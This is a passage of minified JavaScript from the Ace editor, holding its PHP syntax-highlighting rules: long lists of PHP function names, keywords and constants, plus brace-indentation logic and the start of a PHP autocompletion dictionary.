rite|solr_get_version|solrclient|solrclientexception|solrdocument|solrdocumentfield|solrexception|solrgenericresponse|solrillegalargumentexception|solrillegaloperationexception|solrinputdocument|solrmodifiableparams|solrobject|solrparams|solrpingresponse|solrquery|solrqueryresponse|solrresponse|solrupdateresponse|solrutils|sort|soundex|sphinxclient|spl_autoload|spl_autoload_call|spl_autoload_extensions|spl_autoload_functions|spl_autoload_register|spl_autoload_unregister|spl_classes|spl_object_hash|splbool|spldoublylinkedlist|splenum|splfileinfo|splfileobject|splfixedarray|splfloat|splheap|splint|split|spliti|splmaxheap|splminheap|splobjectstorage|splobserver|splpriorityqueue|splqueue|splstack|splstring|splsubject|spltempfileobject|spoofchecker|sprintf|sql_regcase|sqlite3|sqlite3result|sqlite3stmt|sqlite_array_query|sqlite_busy_timeout|sqlite_changes|sqlite_close|sqlite_column|sqlite_create_aggregate|sqlite_create_function|sqlite_current|sqlite_error_string|sqlite_escape_string|sqlite_exec|sqlite_factory|sqlite_fetch_all|sqlite_fetch_array|sqlite_fetch_column_types|sqlite_fetch_object|sqlite_fetch_single|sqlite_fetch_string|sqlite_field_name|sqlite_has_more|sqlite_has_prev|sqlite_key|sqlite_last_error|sqlite_last_insert_rowid|sqlite_libencoding|sqlite_libversion|sqlite_next|sqlite_num_fields|sqlite_num_rows|sqlite_open|sqlite_popen|sqlite_prev|sqlite_query|sqlite_rewind|sqlite_seek|sqlite_single_query|sqlite_udf_decode_binary|sqlite_udf_encode_binary|sqlite_unbuffered_query|sqlite_valid|sqrt|srand|sscanf|ssdeep_fuzzy_compare|ssdeep_fuzzy_hash|ssdeep_fuzzy_hash_filename|ssh2_auth_hostbased_file|ssh2_auth_none|ssh2_auth_password|ssh2_auth_pubkey_file|ssh2_connect|ssh2_exec|ssh2_fetch_stream|ssh2_fingerprint|ssh2_methods_negotiated|ssh2_publickey_add|ssh2_publickey_init|ssh2_publickey_list|ssh2_publickey_remove|ssh2_scp_recv|ssh2_scp_send|ssh2_sftp|ssh2_sftp_lstat|ssh2_sftp_mkdir|ssh2_sftp_readlink|ssh2_sftp_realpath|ssh2_sftp_rename|ssh2_sftp_rmdir|ssh2_sftp_stat|ssh2_sftp_symlink|ssh2_sftp_unlink|ssh2_shell|ssh2_tunnel|stat|stats_absolute_deviation|stats_cdf_beta|stats_cdf_binomial|stats_cdf_cauchy|stats_cdf_chisquare|stats_cdf_exponential|stats_cdf_f|stats_cdf_gamma|stats_cdf_laplace|stats_cdf_logistic|stats_cdf_negative_binomial|stats_cdf_noncentral_chisquare|stats_cdf_noncentral_f|stats_cdf_poisson|stats_cdf_t|stats_cdf_uniform|stats_cdf_weibull|stats_covariance|stats_den_uniform|stats_dens_beta|stats_dens_cauchy|stats_dens_chisquare|stats_dens_exponential|stats_dens_f|stats_dens_gamma|stats_dens_laplace|stats_dens_logistic|stats_dens_negative_binomial|stats_dens_normal|stats_dens_pmf_binomial|stats_dens_pmf_hypergeometric|stats_dens_pmf_poisson|stats_dens_t|stats_dens_weibull|stats_harmonic_mean|stats_kurtosis|stats_rand_gen_beta|stats_rand_gen_chisquare|stats_rand_gen_exponential|stats_rand_gen_f|stats_rand_gen_funiform|stats_rand_gen_gamma|stats_rand_gen_ibinomial|stats_rand_gen_ibinomial_negative|stats_rand_gen_int|stats_rand_gen_ipoisson|stats_rand_gen_iuniform|stats_rand_gen_noncenral_chisquare|stats_rand_gen_noncentral_f|stats_rand_gen_noncentral_t|stats_rand_gen_normal|stats_rand_gen_t|stats_rand_get_seeds|stats_rand_phrase_to_seeds|stats_rand_ranf|stats_rand_setall|stats_skew|stats_standard_deviation|stats_stat_binomial_coef|stats_stat_correlation|stats_stat_gennch|stats_stat_independent_t|stats_stat_innerproduct|stats_stat_noncentral_t|stats_stat_paired_t|stats_stat_percentile|stats_stat_powersum|stats_variance|stomp|stomp_connect_error|stomp_version|stompexception|stompframe|str_getcsv|str_ireplace|str_pad|str_repeat|str_replace|str_rot13|str_shuffle|str_split|str_word_count|strcasecmp|strchr|strcmp|strcoll|strcspn|stream_bucket_append|stream_bucket_make_writeable|stream_bucket_new|stream_bucket_prepend|stream_context_create|stream_context_get_default|stream_context_get_options|stream_context_get_params|stream_context_set_default|stream_context_set_option|stream_context_set_params|stream_copy_to_stream|stream_encoding|stream_filter_append|stream_filter_prepend|stream_filter_register|stream_filter_remove|stream_get_contents|stream_get_filters|stream_get_line|stream_get_meta_data|stream_get_transports|stream_get_wrappers|stream_is_local|stream_notification_callback|stream_register_wrapper|stream_resolve_include_path|stream_select|stream_set_blocking|stream_set_read_buffer|stream_set_timeout|stream_set_write_buffer|stream_socket_accept|stream_socket_client|stream_socket_enable_crypto|stream_socket_get_name|stream_socket_pair|stream_socket_recvfrom|stream_socket_sendto|stream_socket_server|stream_socket_shutdown|stream_supports_lock|stream_wrapper_register|stream_wrapper_restore|stream_wrapper_unregister|streamwrapper|strftime|strip_tags|stripcslashes|stripos|stripslashes|stristr|strlen|strnatcasecmp|strnatcmp|strncasecmp|strncmp|strpbrk|strpos|strptime|strrchr|strrev|strripos|strrpos|strspn|strstr|strtok|strtolower|strtotime|strtoupper|strtr|strval|substr|substr_compare|substr_count|substr_replace|svm|svmmodel|svn_add|svn_auth_get_parameter|svn_auth_set_parameter|svn_blame|svn_cat|svn_checkout|svn_cleanup|svn_client_version|svn_commit|svn_delete|svn_diff|svn_export|svn_fs_abort_txn|svn_fs_apply_text|svn_fs_begin_txn2|svn_fs_change_node_prop|svn_fs_check_path|svn_fs_contents_changed|svn_fs_copy|svn_fs_delete|svn_fs_dir_entries|svn_fs_file_contents|svn_fs_file_length|svn_fs_is_dir|svn_fs_is_file|svn_fs_make_dir|svn_fs_make_file|svn_fs_node_created_rev|svn_fs_node_prop|svn_fs_props_changed|svn_fs_revision_prop|svn_fs_revision_root|svn_fs_txn_root|svn_fs_youngest_rev|svn_import|svn_log|svn_ls|svn_mkdir|svn_repos_create|svn_repos_fs|svn_repos_fs_begin_txn_for_commit|svn_repos_fs_commit_txn|svn_repos_hotcopy|svn_repos_open|svn_repos_recover|svn_revert|svn_status|svn_update|swf_actiongeturl|swf_actiongotoframe|swf_actiongotolabel|swf_actionnextframe|swf_actionplay|swf_actionprevframe|swf_actionsettarget|swf_actionstop|swf_actiontogglequality|swf_actionwaitforframe|swf_addbuttonrecord|swf_addcolor|swf_closefile|swf_definebitmap|swf_definefont|swf_defineline|swf_definepoly|swf_definerect|swf_definetext|swf_endbutton|swf_enddoaction|swf_endshape|swf_endsymbol|swf_fontsize|swf_fontslant|swf_fonttracking|swf_getbitmapinfo|swf_getfontinfo|swf_getframe|swf_labelframe|swf_lookat|swf_modifyobject|swf_mulcolor|swf_nextid|swf_oncondition|swf_openfile|swf_ortho|swf_ortho2|swf_perspective|swf_placeobject|swf_polarview|swf_popmatrix|swf_posround|swf_pushmatrix|swf_removeobject|swf_rotate|swf_scale|swf_setfont|swf_setframe|swf_shapearc|swf_shapecurveto|swf_shapecurveto3|swf_shapefillbitmapclip|swf_shapefillbitmaptile|swf_shapefilloff|swf_shapefillsolid|swf_shapelinesolid|swf_shapelineto|swf_shapemoveto|swf_showframe|swf_startbutton|swf_startdoaction|swf_startshape|swf_startsymbol|swf_textwidth|swf_translate|swf_viewport|swfaction|swfbitmap|swfbutton|swfdisplayitem|swffill|swffont|swffontchar|swfgradient|swfmorph|swfmovie|swfprebuiltclip|swfshape|swfsound|swfsoundinstance|swfsprite|swftext|swftextfield|swfvideostream|swish_construct|swish_getmetalist|swish_getpropertylist|swish_prepare|swish_query|swishresult_getmetalist|swishresult_stem|swishresults_getparsedwords|swishresults_getremovedstopwords|swishresults_nextresult|swishresults_seekresult|swishsearch_execute|swishsearch_resetlimit|swishsearch_setlimit|swishsearch_setphrasedelimiter|swishsearch_setsort|swishsearch_setstructure|sybase_affected_rows|sybase_close|sybase_connect|sybase_data_seek|sybase_deadlock_retry_count|sybase_fetch_array|sybase_fetch_assoc|sybase_fetch_field|sybase_fetch_object|sybase_fetch_row|sybase_field_seek|sybase_free_result|sybase_get_last_message|sybase_min_client_severity|sybase_min_error_severity|sybase_min_message_severity|sybase_min_server_severity|sybase_num_fields|sybase_num_rows|sybase_pconnect|sybase_query|sybase_result|sybase_select_db|sybase_set_message_handler|sybase_unbuffered_query|symlink|sys_get_temp_dir|sys_getloadavg|syslog|system|tag|tan|tanh|tcpwrap_check|tempnam|textdomain|tidy|tidy_access_count|tidy_config_count|tidy_diagnose|tidy_error_count|tidy_get_error_buffer|tidy_get_output|tidy_load_config|tidy_reset_config|tidy_save_config|tidy_set_encoding|tidy_setopt|tidy_warning_count|tidynode|time|time_nanosleep|time_sleep_until|timezone_abbreviations_list|timezone_identifiers_list|timezone_location_get|timezone_name_from_abbr|timezone_name_get|timezone_offset_get|timezone_open|timezone_transitions_get|timezone_version_get|tmpfile|token_get_all|token_name|tokyotyrant|tokyotyrantquery|tokyotyranttable|tostring|tostring|touch|trait_exists|transliterator|traversable|trigger_error|trim|uasort|ucfirst|ucwords|udm_add_search_limit|udm_alloc_agent|udm_alloc_agent_array|udm_api_version|udm_cat_list|udm_cat_path|udm_check_charset|udm_check_stored|udm_clear_search_limits|udm_close_stored|udm_crc32|udm_errno|udm_error|udm_find|udm_free_agent|udm_free_ispell_data|udm_free_res|udm_get_doc_count|udm_get_res_field|udm_get_res_param|udm_hash32|udm_load_ispell_data|udm_open_stored|udm_set_agent_param|uksort|umask|underflowexception|unexpectedvalueexception|uniqid|unixtojd|unlink|unpack|unregister_tick_function|unserialize|unset|urldecode|urlencode|use_soap_error_handler|user_error|usleep|usort|utf8_decode|utf8_encode|v8js|v8jsexception|var_dump|var_export|variant|variant_abs|variant_add|variant_and|variant_cast|variant_cat|variant_cmp|variant_date_from_timestamp|variant_date_to_timestamp|variant_div|variant_eqv|variant_fix|variant_get_type|variant_idiv|variant_imp|variant_int|variant_mod|variant_mul|variant_neg|variant_not|variant_or|variant_pow|variant_round|variant_set|variant_set_type|variant_sub|variant_xor|version_compare|vfprintf|virtual|vpopmail_add_alias_domain|vpopmail_add_alias_domain_ex|vpopmail_add_domain|vpopmail_add_domain_ex|vpopmail_add_user|vpopmail_alias_add|vpopmail_alias_del|vpopmail_alias_del_domain|vpopmail_alias_get|vpopmail_alias_get_all|vpopmail_auth_user|vpopmail_del_domain|vpopmail_del_domain_ex|vpopmail_del_user|vpopmail_error|vpopmail_passwd|vpopmail_set_user_quota|vprintf|vsprintf|w32api_deftype|w32api_init_dtype|w32api_invoke_function|w32api_register_function|w32api_set_call_method|wddx_add_vars|wddx_deserialize|wddx_packet_end|wddx_packet_start|wddx_serialize_value|wddx_serialize_vars|win32_continue_service|win32_create_service|win32_delete_service|win32_get_last_control_message|win32_pause_service|win32_ps_list_procs|win32_ps_stat_mem|win32_ps_stat_proc|win32_query_service_status|win32_set_service_status|win32_start_service|win32_start_service_ctrl_dispatcher|win32_stop_service|wincache_fcache_fileinfo|wincache_fcache_meminfo|wincache_lock|wincache_ocache_fileinfo|wincache_ocache_meminfo|wincache_refresh_if_changed|wincache_rplist_fileinfo|wincache_rplist_meminfo|wincache_scache_info|wincache_scache_meminfo|wincache_ucache_add|wincache_ucache_cas|wincache_ucache_clear|wincache_ucache_dec|wincache_ucache_delete|wincache_ucache_exists|wincache_ucache_get|wincache_ucache_inc|wincache_ucache_info|wincache_ucache_meminfo|wincache_ucache_set|wincache_unlock|wordwrap|xattr_get|xattr_list|xattr_remove|xattr_set|xattr_supported|xdiff_file_bdiff|xdiff_file_bdiff_size|xdiff_file_bpatch|xdiff_file_diff|xdiff_file_diff_binary|xdiff_file_merge3|xdiff_file_patch|xdiff_file_patch_binary|xdiff_file_rabdiff|xdiff_string_bdiff|xdiff_string_bdiff_size|xdiff_string_bpatch|xdiff_string_diff|xdiff_string_diff_binary|xdiff_string_merge3|xdiff_string_patch|xdiff_string_patch_binary|xdiff_string_rabdiff|xhprof_disable|xhprof_enable|xhprof_sample_disable|xhprof_sample_enable|xml_error_string|xml_get_current_byte_index|xml_get_current_column_number|xml_get_current_line_number|xml_get_error_code|xml_parse|xml_parse_into_struct|xml_parser_create|xml_parser_create_ns|xml_parser_free|xml_parser_get_option|xml_parser_set_option|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_object|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|xmlreader|xmlrpc_decode|xmlrpc_decode_request|xmlrpc_encode|xmlrpc_encode_request|xmlrpc_get_type|xmlrpc_is_fault|xmlrpc_parse_method_descriptions|xmlrpc_server_add_introspection_data|xmlrpc_server_call_method|xmlrpc_server_create|xmlrpc_server_destroy|xmlrpc_server_register_introspection_callback|xmlrpc_server_register_method|xmlrpc_set_type|xmlwriter_end_attribute|xmlwriter_end_cdata|xmlwriter_end_comment|xmlwriter_end_document|xmlwriter_end_dtd|xmlwriter_end_dtd_attlist|xmlwriter_end_dtd_element|xmlwriter_end_dtd_entity|xmlwriter_end_element|xmlwriter_end_pi|xmlwriter_flush|xmlwriter_full_end_element|xmlwriter_open_memory|xmlwriter_open_uri|xmlwriter_output_memory|xmlwriter_set_indent|xmlwriter_set_indent_string|xmlwriter_start_attribute|xmlwriter_start_attribute_ns|xmlwriter_start_cdata|xmlwriter_start_comment|xmlwriter_start_document|xmlwriter_start_dtd|xmlwriter_start_dtd_attlist|xmlwriter_start_dtd_element|xmlwriter_start_dtd_entity|xmlwriter_start_element|xmlwriter_start_element_ns|xmlwriter_start_pi|xmlwriter_text|xmlwriter_write_attribute|xmlwriter_write_attribute_ns|xmlwriter_write_cdata|xmlwriter_write_comment|xmlwriter_write_dtd|xmlwriter_write_dtd_attlist|xmlwriter_write_dtd_element|xmlwriter_write_dtd_entity|xmlwriter_write_element|xmlwriter_write_element_ns|xmlwriter_write_pi|xmlwriter_write_raw|xpath_eval|xpath_eval_expression|xpath_new_context|xpath_register_ns|xpath_register_ns_auto|xptr_eval|xptr_new_context|xslt_backend_info|xslt_backend_name|xslt_backend_version|xslt_create|xslt_errno|xslt_error|xslt_free|xslt_getopt|xslt_process|xslt_set_base|xslt_set_encoding|xslt_set_error_handler|xslt_set_log|xslt_set_object|xslt_set_sax_handler|xslt_set_sax_handlers|xslt_set_scheme_handler|xslt_set_scheme_handlers|xslt_setopt|xsltprocessor|yaml_emit|yaml_emit_file|yaml_parse|yaml_parse_file|yaml_parse_url|yaz_addinfo|yaz_ccl_conf|yaz_ccl_parse|yaz_close|yaz_connect|yaz_database|yaz_element|yaz_errno|yaz_error|yaz_es|yaz_es_result|yaz_get_option|yaz_hits|yaz_itemorder|yaz_present|yaz_range|yaz_record|yaz_scan|yaz_scan_result|yaz_schema|yaz_search|yaz_set_option|yaz_sort|yaz_syntax|yaz_wait|yp_all|yp_cat|yp_err_string|yp_errno|yp_first|yp_get_default_domain|yp_master|yp_match|yp_next|yp_order|zend_logo_guid|zend_thread_id|zend_version|zip_close|zip_entry_close|zip_entry_compressedsize|zip_entry_compressionmethod|zip_entry_filesize|zip_entry_name|zip_entry_open|zip_entry_read|zip_open|zip_read|ziparchive|ziparchive_addemptydir|ziparchive_addfile|ziparchive_addfromstring|ziparchive_close|ziparchive_deleteindex|ziparchive_deletename|ziparchive_extractto|ziparchive_getarchivecomment|ziparchive_getcommentindex|ziparchive_getcommentname|ziparchive_getfromindex|ziparchive_getfromname|ziparchive_getnameindex|ziparchive_getstatusstring|ziparchive_getstream|ziparchive_locatename|ziparchive_open|ziparchive_renameindex|ziparchive_renamename|ziparchive_setCommentName|ziparchive_setarchivecomment|ziparchive_setcommentindex|ziparchive_statindex|ziparchive_statname|ziparchive_unchangeall|ziparchive_unchangearchive|ziparchive_unchangeindex|ziparchive_unchangename|zlib_get_coding_type\".split(\"|\")),n=i.arrayToMap(\"abstract|and|array|as|break|case|catch|class|clone|const|continue|declare|default|do|else|elseif|enddeclare|endfor|endforeach|endif|endswitch|endwhile|extends|final|for|foreach|function|global|goto|if|implements|interface|instanceof|namespace|new|or|private|protected|public|static|switch|throw|trait|try|use|var|while|xor\".split(\"|\")),r=i.arrayToMap(\"die|echo|empty|exit|eval|include|include_once|isset|list|require|require_once|return|print|unset\".split(\"|\")),o=i.arrayToMap(\"true|false|null|__CLASS__|__DIR__|__FILE__|__LINE__|__METHOD__|__FUNCTION__|__NAMESPACE__\".split(\"|\")),u=i.arrayToMap(\"$GLOBALS|$_SERVER|$_GET|$_POST|$_FILES|$_REQUEST|$_SESSION|$_ENV|$_COOKIE|$php_errormsg|$HTTP_RAW_POST_DATA|$http_response_header|$argc|$argv\".split(\"|\")),a=i.arrayToMap(\"key_exists|cairo_matrix_create_scale|cairo_matrix_create_translate|call_user_method|call_user_method_array|com_addref|com_get|com_invoke|com_isenum|com_load|com_release|com_set|connection_timeout|cubrid_load_from_glo|cubrid_new_glo|cubrid_save_to_glo|cubrid_send_glo|define_syslog_variables|dl|ereg|ereg_replace|eregi|eregi_replace|hw_documentattributes|hw_documentbodytag|hw_documentsize|hw_outputdocument|imagedashedline|maxdb_bind_param|maxdb_bind_result|maxdb_client_encoding|maxdb_close_long_data|maxdb_execute|maxdb_fetch|maxdb_get_metadata|maxdb_param_count|maxdb_send_long_data|mcrypt_ecb|mcrypt_generic_end|mime_content_type|mysql_createdb|mysql_dbname|mysql_db_query|mysql_drop_db|mysql_dropdb|mysql_escape_string|mysql_fieldflags|mysql_fieldflags|mysql_fieldname|mysql_fieldtable|mysql_fieldtype|mysql_freeresult|mysql_listdbs|mysql_list_fields|mysql_listfields|mysql_list_tables|mysql_listtables|mysql_numfields|mysql_numrows|mysql_selectdb|mysql_tablename|mysqli_bind_param|mysqli_bind_result|mysqli_disable_reads_from_master|mysqli_disable_rpl_parse|mysqli_enable_reads_from_master|mysqli_enable_rpl_parse|mysqli_execute|mysqli_fetch|mysqli_get_metadata|mysqli_master_query|mysqli_param_count|mysqli_rpl_parse_enabled|mysqli_rpl_probe|mysqli_rpl_query_type|mysqli_send_long_data|mysqli_send_query|mysqli_slave_query|ocibindbyname|ocicancel|ocicloselob|ocicollappend|ocicollassign|ocicollassignelem|ocicollgetelem|ocicollmax|ocicollsize|ocicolltrim|ocicolumnisnull|ocicolumnname|ocicolumnprecision|ocicolumnscale|ocicolumnsize|ocicolumntype|ocicolumntyperaw|ocicommit|ocidefinebyname|ocierror|ociexecute|ocifetch|ocifetchinto|ocifetchstatement|ocifreecollection|ocifreecursor|ocifreedesc|ocifreestatement|ociinternaldebug|ociloadlob|ocilogoff|ocilogon|ocinewcollection|ocinewcursor|ocinewdescriptor|ocinlogon|ocinumcols|ociparse|ociplogon|ociresult|ocirollback|ocirowcount|ocisavelob|ocisavelobfile|ociserverversion|ocisetprefetch|ocistatementtype|ociwritelobtofile|ociwritetemporarylob|PDF_add_annotation|PDF_add_bookmark|PDF_add_launchlink|PDF_add_locallink|PDF_add_note|PDF_add_outline|PDF_add_pdflink|PDF_add_weblink|PDF_attach_file|PDF_begin_page|PDF_begin_template|PDF_close_pdi|PDF_close|PDF_findfont|PDF_get_font|PDF_get_fontname|PDF_get_fontsize|PDF_get_image_height|PDF_get_image_width|PDF_get_majorversion|PDF_get_minorversion|PDF_get_pdi_parameter|PDF_get_pdi_value|PDF_open_ccitt|PDF_open_file|PDF_open_gif|PDF_open_image_file|PDF_open_image|PDF_open_jpeg|PDF_open_pdi|PDF_open_tiff|PDF_place_image|PDF_place_pdi_page|PDF_set_border_color|PDF_set_border_dash|PDF_set_border_style|PDF_set_char_spacing|PDF_set_duration|PDF_set_horiz_scaling|PDF_set_info_author|PDF_set_info_creator|PDF_set_info_keywords|PDF_set_info_subject|PDF_set_info_title|PDF_set_leading|PDF_set_text_matrix|PDF_set_text_rendering|PDF_set_text_rise|PDF_set_word_spacing|PDF_setgray_fill|PDF_setgray_stroke|PDF_setgray|PDF_setpolydash|PDF_setrgbcolor_fill|PDF_setrgbcolor_stroke|PDF_setrgbcolor|PDF_show_boxed|php_check_syntax|px_set_tablename|px_set_targetencoding|runkit_sandbox_output_handler|session_is_registered|session_register|session_unregisterset_magic_quotes_runtime|magic_quotes_runtime|set_socket_blocking|socket_set_blocking|set_socket_timeout|socket_set_timeout|split|spliti|sql_regcase\".split(\"|\")),f=i.arrayToMap(\"cfunction|old_function\".split(\"|\")),l=i.arrayToMap([]);this.$rules={start:[{token:\"comment\",regex:/(?:#|\\/\\/)(?:[^?]|\\?[^>])*/},e.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/][gimy]*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'\"',next:\"qqstring\"},{token:\"string\",regex:\"'\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language\",regex:\"\\\\b(?:DEFAULT_INCLUDE_PATH|E_(?:ALL|CO(?:MPILE_(?:ERROR|WARNING)|RE_(?:ERROR|WARNING))|ERROR|NOTICE|PARSE|STRICT|USER_(?:ERROR|NOTICE|WARNING)|WARNING)|P(?:EAR_(?:EXTENSION_DIR|INSTALL_DIR)|HP_(?:BINDIR|CONFIG_FILE_(?:PATH|SCAN_DIR)|DATADIR|E(?:OL|XTENSION_DIR)|INT_(?:MAX|SIZE)|L(?:IBDIR|OCALSTATEDIR)|O(?:S|UTPUT_HANDLER_(?:CONT|END|START))|PREFIX|S(?:API|HLIB_SUFFIX|YSCONFDIR)|VERSION))|__COMPILER_HALT_OFFSET__)\\\\b\"},{token:[\"keyword\",\"text\",\"support.class\"],regex:\"\\\\b(new)(\\\\s+)(\\\\w+)\"},{token:[\"support.class\",\"keyword.operator\"],regex:\"\\\\b(\\\\w+)(::)\"},{token:\"constant.language\",regex:\"\\\\b(?:A(?:B(?:DAY_(?:1|2|3|4|5|6|7)|MON_(?:1(?:0|1|2|)|2|3|4|5|6|7|8|9))|LT_DIGITS|M_STR|SSERT_(?:ACTIVE|BAIL|CALLBACK|QUIET_EVAL|WARNING))|C(?:ASE_(?:LOWER|UPPER)|HAR_MAX|O(?:DESET|NNECTION_(?:ABORTED|NORMAL|TIMEOUT)|UNT_(?:NORMAL|RECURSIVE))|R(?:EDITS_(?:ALL|DOCS|FULLPAGE|G(?:ENERAL|ROUP)|MODULES|QA|SAPI)|NCYSTR|YPT_(?:BLOWFISH|EXT_DES|MD5|S(?:ALT_LENGTH|TD_DES)))|URRENCY_SYMBOL)|D(?:AY_(?:1|2|3|4|5|6|7)|ECIMAL_POINT|IRECTORY_SEPARATOR|_(?:FMT|T_FMT))|E(?:NT_(?:COMPAT|NOQUOTES|QUOTES)|RA(?:_(?:D_(?:FMT|T_FMT)|T_FMT|YEAR)|)|XTR_(?:IF_EXISTS|OVERWRITE|PREFIX_(?:ALL|I(?:F_EXISTS|NVALID)|SAME)|SKIP))|FRAC_DIGITS|GROUPING|HTML_(?:ENTITIES|SPECIALCHARS)|IN(?:FO_(?:ALL|C(?:ONFIGURATION|REDITS)|ENVIRONMENT|GENERAL|LICENSE|MODULES|VARIABLES)|I_(?:ALL|PERDIR|SYSTEM|USER)|T_(?:CURR_SYMBOL|FRAC_DIGITS))|L(?:C_(?:ALL|C(?:OLLATE|TYPE)|M(?:ESSAGES|ONETARY)|NUMERIC|TIME)|O(?:CK_(?:EX|NB|SH|UN)|G_(?:A(?:LERT|UTH(?:PRIV|))|C(?:ONS|R(?:IT|ON))|D(?:AEMON|EBUG)|E(?:MERG|RR)|INFO|KERN|L(?:OCAL(?:0|1|2|3|4|5|6|7)|PR)|MAIL|N(?:DELAY|EWS|O(?:TICE|WAIT))|ODELAY|P(?:ERROR|ID)|SYSLOG|U(?:SER|UCP)|WARNING)))|M(?:ON_(?:1(?:0|1|2|)|2|3|4|5|6|7|8|9|DECIMAL_POINT|GROUPING|THOUSANDS_SEP)|_(?:1_PI|2_(?:PI|SQRTPI)|E|L(?:N(?:10|2)|OG(?:10E|2E))|PI(?:_(?:2|4)|)|SQRT(?:1_2|2)))|N(?:EGATIVE_SIGN|O(?:EXPR|STR)|_(?:CS_PRECEDES|S(?:EP_BY_SPACE|IGN_POSN)))|P(?:ATH(?:INFO_(?:BASENAME|DIRNAME|EXTENSION)|_SEPARATOR)|M_STR|OSITIVE_SIGN|_(?:CS_PRECEDES|S(?:EP_BY_SPACE|IGN_POSN)))|RADIXCHAR|S(?:EEK_(?:CUR|END|SET)|ORT_(?:ASC|DESC|NUMERIC|REGULAR|STRING)|TR_PAD_(?:BOTH|LEFT|RIGHT))|T(?:HOUS(?:ANDS_SEP|EP)|_FMT(?:_AMPM|))|YES(?:EXPR|STR)|STD(?:IN|OUT|ERR))\\\\b\"},{token:function(e){return n.hasOwnProperty(e)?\"keyword\":o.hasOwnProperty(e)?\"constant.language\":u.hasOwnProperty(e)?\"variable.language\":l.hasOwnProperty(e)?\"invalid.illegal\":t.hasOwnProperty(e)?\"support.function\":e==\"debugger\"?\"invalid.deprecated\":e.match(/^(\\$[a-zA-Z_\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*|self|parent)$/)?\"variable\":\"identifier\"},regex:/[a-zA-Z_$\\x7f-\\uffff][a-zA-Z0-9_\\x7f-\\uffff]*/},{onMatch:function(e,t,n){e=e.substr(3);if(e[0]==\"'\"||e[0]=='\"')e=e.slice(1,-1);return n.unshift(this.next,e),\"markup.list\"},regex:/<<<(?:\\w+|'\\w+'|\"\\w+\")$/,next:\"heredoc\"},{token:\"keyword.operator\",regex:\"::|!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|!=|!==|<=|>=|=>|<<=|>>=|>>>=|<>|<|>|=|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],heredoc:[{onMatch:function(e,t,n){return n[1]!=e?\"string\":(n.shift(),n.shift(),\"markup.list\")},regex:\"^\\\\w+(?=;?$)\",next:\"start\"},{token:\"string\",regex:\".*\"}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"constant.language.escape\",regex:'\\\\\\\\(?:[nrtvef\\\\\\\\\"$]|[0-7]{1,3}|x[0-9A-Fa-f]{1,2})'},{token:\"variable\",regex:/\\$[\\w]+(?:\\[[\\w\\]+]|[=\\-]>\\w+)?/},{token:\"variable\",regex:/\\$\\{[^\"\\}]+\\}?/},{token:\"string\",regex:'\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:/\\\\['\\\\]/},{token:\"string\",regex:\"'\",next:\"start\"},{defaultToken:\"string\"}]},this.embedRules(s,\"doc-\",[s.getEndRule(\"start\")])};r.inherits(a,o);var f=function(){u.call(this);var e=[{token:\"support.php_tag\",regex:\"<\\\\?(?:php|=)?\",push:\"php-start\"}],t=[{token:\"support.php_tag\",regex:\"\\\\?>\",next:\"pop\"}];for(var n in this.$rules)this.$rules[n].unshift.apply(this.$rules[n],e);this.embedRules(a,\"php-\",t,[\"start\"]),this.normalizeRules()};r.inherits(f,u),t.PhpHighlightRules=f,t.PhpLangHighlightRules=a}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/php_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function s(e,t){return e.type.lastIndexOf(t)>-1}var r={abs:[\"int abs(int number)\",\"Return the absolute value of the number\"],acos:[\"float acos(float number)\",\"Return the arc cosine of the number in radians\"],acosh:[\"float acosh(float number)\",\"Returns the inverse hyperbolic cosine of the number, i.e. the value whose hyperbolic cosine is number\"],addGlob:[\"bool addGlob(string pattern[,int flags [, array options]])\",\"Add files matching the glob pattern. See php's glob for the pattern syntax.\"],addPattern:[\"bool addPattern(string pattern[, string path [, array options]])\",\"Add files matching the pcre pattern. See php's pcre for the pattern syntax.\"],addcslashes:[\"string addcslashes(string str, string charlist)\",\"Escapes all chars mentioned in charlist with backslash. It creates octal representations if asked to backslash characters with 8th bit set or with ASCII<32 (except '\\\\n', '\\\\r', '\\\\t' etc...)\"],addslashes:[\"string addslashes(string str)\",\"Escapes single quote, double quotes and backslash characters in a string with backslashes\"],apache_child_terminate:[\"bool apache_child_terminate(void)\",\"Terminate apache process after this request\"],apache_get_modules:[\"array apache_get_modules(void)\",\"Get a list of loaded Apache modules\"],apache_get_version:[\"string apache_get_version(void)\",\"Fetch Apache version\"],apache_getenv:[\"bool apache_getenv(string variable [, bool 